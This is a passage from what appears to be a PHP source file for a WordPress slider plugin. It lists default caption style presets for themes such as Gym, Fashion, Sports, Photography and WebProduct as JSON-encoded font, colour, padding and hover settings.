			array('handle' => '.tp-caption.Gym-Subline', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"0","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"30px","line-height":"30px","font-weight":"100","font-style":"normal","font-family":"Raleway","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"letter-spacing":"5px"},"hover":""}'),
			array('handle' => '.tp-caption.Gym-SmallText', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"0","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"17px","line-height":"22","font-weight":"300","font-style":"normal","font-family":"Raleway","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"text-shadow":"none"},"hover":""}'),
			array('handle' => '.tp-caption.Fashion-SmallText', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"0","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"12px","line-height":"20px","font-weight":"600","font-style":"normal","font-family":"Raleway","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"letter-spacing":"2px"},"hover":""}'),
			array('handle' => '.tp-caption.Fashion-BigDisplay', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"0","easing":"none"}', 'params' => '{"color":"#000000","color-transparency":"1","font-size":"60px","line-height":"60px","font-weight":"900","font-style":"normal","font-family":"Raleway","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"letter-spacing":"2px"},"hover":""}'),
			array('handle' => '.tp-caption.Fashion-TextBlock', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"0","easing":"none"}', 'params' => '{"color":"#000000","color-transparency":"1","font-size":"20px","line-height":"40px","font-weight":"400","font-style":"normal","font-family":"Raleway","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"letter-spacing":"2px"},"hover":""}'),
			array('handle' => '.tp-caption.Sports-Display', 'settings' => '{"translated":5,"type":"text","version":"5.0"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"0","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"130px","line-height":"130px","font-weight":"100","font-style":"normal","font-family":"\\"Raleway\\"","padding":"0 0 0 0","text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":"0 0 0 0","z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"letter-spacing":"13px"},"hover":""}'),
			array('handle' => '.tp-caption.Sports-DisplayFat', 'settings' => '{"translated":5,"type":"text","version":"5.0"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"0","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"130px","line-height":"130px","font-weight":"900","font-style":"normal","font-family":"\\"Raleway\\"","padding":"0 0 0 0","text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":"0 0 0 0","z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":[""],"hover":""}'),
			array('handle' => '.tp-caption.Sports-Subline', 'settings' => '{"translated":5,"type":"text","version":"5.0"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"0","easing":"none"}', 'params' => '{"color":"#000000","color-transparency":"1","font-size":"32px","line-height":"32px","font-weight":"400","font-style":"normal","font-family":"\\"Raleway\\"","padding":"0 0 0 0","text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":"0 0 0 0","z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"letter-spacing":"4px"},"hover":""}'),
			array('handle' => '.tp-caption.Instagram-Caption', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"0","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"20px","line-height":"20px","font-weight":"900","font-style":"normal","font-family":"Roboto","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":"","hover":""}'),
			array('handle' => '.tp-caption.News-Title', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"0","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"70px","line-height":"60px","font-weight":"400","font-style":"normal","font-family":"Roboto Slab","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":"","hover":""}'),
			array('handle' => '.tp-caption.News-Subtitle', 'settings' => '{"hover":"true","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"0.65","text-decoration":"none","background-color":"#ffffff","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"solid","border-width":"0px","border-radius":["0","0","0px","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"300","easing":"power3.inOut"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"15px","line-height":"24px","font-weight":"300","font-style":"normal","font-family":"Roboto Slab","padding":["0","0","0","0"],"text-decoration":"none","background-color":"#ffffff","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":"","hover":""}'),
			array('handle' => '.tp-caption.Photography-Display', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"0","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"80px","line-height":"70px","font-weight":"100","font-style":"normal","font-family":"Raleway","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"letter-spacing":"5px"},"hover":""}'),
			array('handle' => '.tp-caption.Photography-Subline', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"0","easing":"none"}', 'params' => '{"color":"#777777","color-transparency":"1","font-size":"20px","line-height":"30px","font-weight":"300","font-style":"normal","font-family":"Raleway","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"letter-spacing":"3px"},"hover":""}'),
			array('handle' => '.tp-caption.Photography-ImageHover', 'settings' => '{"hover":"true","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"0.5","scalex":"0.8","scaley":"0.8","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"1000","easing":"power3.inOut"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"20","line-height":"22","font-weight":"400","font-style":"normal","font-family":"","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"#ffffff","border-transparency":"0","border-style":"none","border-width":"0px","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":"","hover":""}'),
			array('handle' => '.tp-caption.Photography-Menuitem', 'settings' => '{"hover":"true","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"#00ffde","background-transparency":"0.65","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"pointer","speed":"200","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"20px","line-height":"20px","font-weight":"300","font-style":"normal","font-family":"Raleway","padding":["3px","5px","3px","8px"],"text-decoration":"none","background-color":"#000000","background-transparency":"0.65","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"letter-spacing":"2px"},"hover":""}'),
			array('handle' => '.tp-caption.Photography-Textblock', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"0","easing":"none"}', 'params' => '{"color":"#fff","color-transparency":"1","font-size":"17px","line-height":"30px","font-weight":"300","font-style":"normal","font-family":"Raleway","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"letter-spacing":"2px"},"hover":""}'),
			array('handle' => '.tp-caption.Photography-Subline-2', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"0","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"0.35","font-size":"20px","line-height":"30px","font-weight":"300","font-style":"normal","font-family":"Raleway","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"letter-spacing":"3px"},"hover":""}'),
			array('handle' => '.tp-caption.Photography-ImageHover2', 'settings' => '{"hover":"true","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"0.5","scalex":"0.8","scaley":"0.8","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"pointer","speed":"500","easing":"back.out"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"20","line-height":"22","font-weight":"400","font-style":"normal","font-family":"Arial","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"#ffffff","border-transparency":"0","border-style":"none","border-width":"0px","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":"","hover":""}'),
			array('handle' => '.tp-caption.WebProduct-Title', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"0","easing":"none"}', 'params' => '{"color":"#333333","color-transparency":"1","font-size":"90px","line-height":"90px","font-weight":"100","font-style":"normal","font-family":"Raleway","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":"","hover":""}'),
			array('handle' => '.tp-caption.WebProduct-SubTitle', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"0","easing":"none"}', 'params' => '{"color":"#999999","color-transparency":"1","font-size":"15px","line-height":"20px","font-weight":"400","font-style":"normal","font-family":"Raleway","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":"","hover":""}'),
			array('handle' => '.tp-caption.WebProduct-Content', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"0","easing":"none"}', 'params' => '{"color":"#999999","color-transparency":"1","font-size":"16px","line-height":"24px","font-weight":"600","font-style":"normal","font-family":"Raleway","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":"","hover":""}'),
			array('handle' => '.tp-caption.WebProduct-Menuitem', 'settings' => '{"hover":"true","version":"5.0","translated":"5"}', 'hover' => '{"color":"#999999","color-transparency":"1","text-decoration":"none","background-color":"#ffffff","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"pointer","speed":"200","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"15px","line-height":"20px","font-weight":"500","font-style":"normal","font-family":"Raleway","padding":["3px","5px","3px","8px"],"text-decoration":"none","text-align":"left","background-color":"#333333","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"letter-spacing":"2px"},"hover":""}'),
			array('handle' => '.tp-caption.WebProduct-Title-Light', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"0","easing":"none"}', 'params' => '{"color":"#fff","color-transparency":"1","font-size":"90px","line-height":"90px","font-weight":"100","font-style":"normal","font-family":"Raleway","padding":["0","0","0","0"],"text-decoration":"none","text-align":"left","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":"","hover":""}'),
			array('handle' => '.tp-caption.WebProduct-SubTitle-Light', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"0","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"0.35","font-size":"15px","line-height":"20px","font-weight":"400","font-style":"normal","font-family":"Raleway","padding":["0","0","0","0"],"text-decoration":"none","text-align":"left","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","parallax":"-"}', 'advanced' => '{"idle":"","hover":""}'),
			array('handle' => '.tp-caption.WebProduct-Content-Light', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"0","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"0.65","font-size":"16px","line-height":"24px","font-weight":"600","font-style":"normal","font-family":"Raleway","padding":["0","0","0","0"],"text-decoration":"none","text-align":"left","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","parallax":"-"}', 'advanced' => '{"idle":"","hover":""}'),
			array('handle' => '.tp-caption.FatRounded', 'settings' => '{"hover":"true","type":"text","version":"5.0","translated":"5"}', 'hover' => '{"color":"#fff","color-transparency":"1","text-decoration":"none","background-color":"#000000","background-transparency":"1","border-color":"#d3d3d3","border-transparency":"1","border-style":"none","border-width":"0px","border-radius":["50px","50px","50px","50px"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"pointer","speed":"300","easing":"none"}', 'params' => '{"color":"#fff","color-transparency":"1","font-size":"30px","line-height":"30px","font-weight":"900","font-style":"normal","font-family":"Raleway","padding":["20px","22px","20px","25px"],"text-decoration":"none","text-align":"left","background-color":"#000000","background-transparency":"0.5","border-color":"#d3d3d3","border-transparency":"1","border-style":"none","border-width":"0px","border-radius":["50px","50px","50px","50px"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"text-shadow":"none"},"hover":""}'),
			array('handle' => '.tp-caption.NotGeneric-Title', 'settings' => '{"translated":5,"type":"text","version":"5.0"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"0","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"70px","line-height":"70px","font-weight":"800","font-style":"normal","font-family":"Raleway","padding":"10px 0px 10px 0","text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":"0 0 0 0","z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":"[object Object]","hover":""}'),
			array('handle' => '.tp-caption.NotGeneric-SubTitle', 'settings' => '{"translated":5,"type":"text","version":"5.0"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"auto","speed":"0","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"13px","line-height":"20px","font-weight":"500","font-style":"normal","font-family":"Raleway","padding":"0 0 0 0","text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":"0 0 0 0","z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"letter-spacing":"4px","text-align":"left"},"hover":""}'),
